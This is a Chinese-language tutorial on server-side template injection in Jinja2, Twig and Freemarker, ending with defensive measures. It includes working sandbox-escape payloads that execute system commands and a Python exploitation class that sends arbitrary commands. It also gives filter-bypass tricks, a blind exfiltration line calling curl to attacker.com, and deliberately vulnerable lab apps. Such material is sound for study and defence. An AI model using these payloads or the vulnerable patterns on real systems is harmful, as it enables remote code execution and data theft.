1. SSTI漏洞概述与核心原理
服务器端模板注入(Server-Side Template Injection,简称SSTI)是近年来Web安全领域备受关注的高危漏洞类型。这种漏洞允许攻击者将恶意代码注入到服务器端执行的模板中,突破预设的安全边界,最终可能导致远程代码执行(RCE)、敏感信息泄露等严重后果。
1.1 漏洞本质与危害
SSTI漏洞的核心在于混淆了代码与数据的边界。当开发者不慎将用户输入直接拼接到模板字符串中,而不是作为数据传递给预定义的模板时,攻击者就能注入模板引擎自身的语法结构,从而控制模板的渲染逻辑。
这类漏洞的危害程度取决于模板引擎的功能和配置:
- 基础危害:可能导致模板上下文中的敏感信息泄露
- 高危危害:在未严格沙箱限制的环境下,可能实现完整的远程代码执行
- 持久化危害:通过写入恶意模板文件,可能建立长期后门
1.2 主流模板引擎风险概况
不同模板引擎的实现机制和功能特性决定了其SSTI漏洞的利用方式和危害程度:
| 引擎名称 | 所属语言 | 典型语法 | 危险特性 |
|---|---|---|---|
| Jinja2 | Python | {{ }} |
强大的对象自省能力,可通过__class__等访问系统类 |
| Twig | PHP | {{ }} |
灵活的过滤器系统,可通过_self访问环境 |
| Freemarker | Java | ${ }或<# > |
支持内建函数和指令,可访问Java类方法 |
2. SSTI漏洞利用技术详解
2.1 漏洞发现与确认
识别SSTI漏洞的第一步是探测目标系统使用的模板引擎类型。常用的探测方法包括:
- 数学运算探测:
http复制http://example.com/?name={{7*7}} # Jinja2/Twig
http://example.com/greet?name=${7*7} # Freemarker
- 语法特性探测:
- Jinja2:
{{7*'7'}}会返回"7777777" - Twig:
{{7*'7'}}通常会报错或返回49 - Freemarker:
<#assign a=7*7>${a}能执行复杂表达式
2.2 Jinja2沙箱逃逸技术
Jinja2的沙箱逃逸通常遵循"对象链式访问"的模式:
- 获取基类对象:
python复制{{ ''.__class__ }} # 获取字符串类
{{ ''.__class__.__mro__[1] }} # 获取object基类
- 枚举子类寻找危险类:
python复制{{ ''.__class__.__mro__[1].__subclasses__() }}
- 定位并利用危险类(以subprocess.Popen为例):
python复制{{ ''.__class__.__mro__[1].__subclasses__()[258](['ls','-la'], stdout=-1).communicate()[0] }}
2.3 Twig沙箱逃逸技术
Twig的利用方式略有不同,常通过_self对象:
- 获取环境对象:
twig复制{{ _self }}
- 访问模板上下文:
twig复制{{ _self.env }}
- 执行系统命令:
twig复制{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
2.4 Freemarker沙箱逃逸技术
Freemarker利用Java的反射能力:
- 创建恶意指令:
freemarker复制<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }
- 通过内置函数执行命令:
freemarker复制${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","whoami").start()}
3. 实战环境搭建与利用
3.1 实验环境配置
使用Docker快速搭建包含三大模板引擎的测试环境:
docker-compose复制version: '3.8'
services:
ssti-jinja2:
build: ./jinja2-app
ports: ["5001:5000"]
ssti-twig:
build: ./twig-app
ports: ["5002:80"]
ssti-freemarker:
build: ./freemarker-app
ports: ["5003:8080"]
每个服务对应的Dockerfile和漏洞代码示例:
Jinja2应用
python复制from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'Guest')
template = f"<h1>Hello, {name}!</h1>" # 漏洞点
return render_template_string(template)
Twig应用
php复制$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$name = $_GET['name'] ?? 'Guest';
$template = $twig->createTemplate("<h1>Hello, {{ name }}!</h1>"); // 危险用法
echo $template->render(['name' => $name]);
Freemarker应用
java复制@GetMapping("/greet")
public String greet(@RequestParam String name, Model model) {
String templateContent = "Welcome, " + name + "!"; // 漏洞点
// ... 错误地将templateContent传递给Freemarker
return "templateView";
}
3.2 自动化利用脚本
以下Python脚本框架可用于自动化探测和利用Jinja2 SSTI:
python复制import requests
import urllib.parse
class SSTIExploiter:
def __init__(self, target_url, param_name):
self.target_url = target_url
self.param_name = param_name
def probe_engine(self):
probes = {
'Jinja2': {'payload': '{{7*7}}', 'expected': '49'},
'Twig': {'payload': '{{7*7}}', 'expected': '49'},
'Freemarker': {'payload': '${7*7}', 'expected': '49'}
}
for engine, probe in probes.items():
resp = self._make_request(probe['payload'])
if probe['expected'] in resp.text:
return engine
return None
def execute_command(self, command):
payload = f"""{{{{''.__class__.__mro__[1].__subclasses__()[258](['sh','-c','{command}'], stdout=-1).communicate()[0]}}}}"""
return self._make_request(payload)
def _make_request(self, payload):
encoded_payload = urllib.parse.quote(payload)
return requests.get(f"{self.target_url}?{self.param_name}={encoded_payload}")
4. 防御措施与最佳实践
4.1 开发安全规范
- 严格分离代码与数据:
- 使用预定义的静态模板
- 用户输入仅作为数据传递给模板
- 输入验证与净化:
python复制# Python示例:白名单验证
if not re.match(r'^[a-zA-Z0-9\s]+$', user_input):
raise ValueError("Invalid input")
- 安全配置模板引擎:
| 引擎 | 安全配置 |
|---|---|
| Jinja2 | SandboxedEnvironment(autoescape=True) |
| Twig | new Environment($loader, ['autoescape' => 'html']) |
| Freemarker | Configuration.setSharedVariable("escape", new HtmlEscape()) |
4.2 运维防护措施
- WAF规则配置:
- 拦截包含
__class__、__mro__等关键词的请求 - 监控异常的模板语法结构
- 运行时防护:
- 使用RASP(运行时应用自我保护)监控危险方法调用
- 通过Seccomp限制容器系统调用
- 日志监控策略:
sql复制-- 检测可疑请求的SQL查询示例
SELECT * FROM web_logs
WHERE url_path LIKE '%render%'
AND (url_query LIKE '%__class__%' OR post_data LIKE '%${%')
5. 高级绕过技术与对抗
5.1 常见过滤绕过技巧
- 字符串拼接:
python复制{{ 'a'.'__class__' }} # PHP语法
{{ 'a'~'__class__' }} # Twig语法
- 属性访问替代:
python复制{{ ''|attr('__class__') }} # Jinja2过滤器
- 编码混淆:
python复制{{ '\x5f\x5fclass\x5f\x5f' }} # 十六进制编码
5.2 无回显利用技术
- 时间盲注:
python复制{{ ''.__class__.__mro__[1].__subclasses__()[258](['sleep','5']).wait() }}
- 外带数据:
python复制{{ ''.__class__.__mro__[1].__subclasses__()[258](['curl','attacker.com/`whoami`']).wait() }}
- 文件写入+读取:
python复制{{ ''.__class__.__mro__[1].__subclasses__()[258](['sh','-c','id > /tmp/result']).wait() }}
{{ open('/tmp/result').read() }}
在实际渗透测试中,理解这些技术原理不仅能帮助安全人员更好地发现和修复漏洞,也能让开发者在设计系统时提前规避风险。防御SSTI的关键在于严格遵循"用户输入永远只是数据"的原则,并结合多层次的安全防护措施。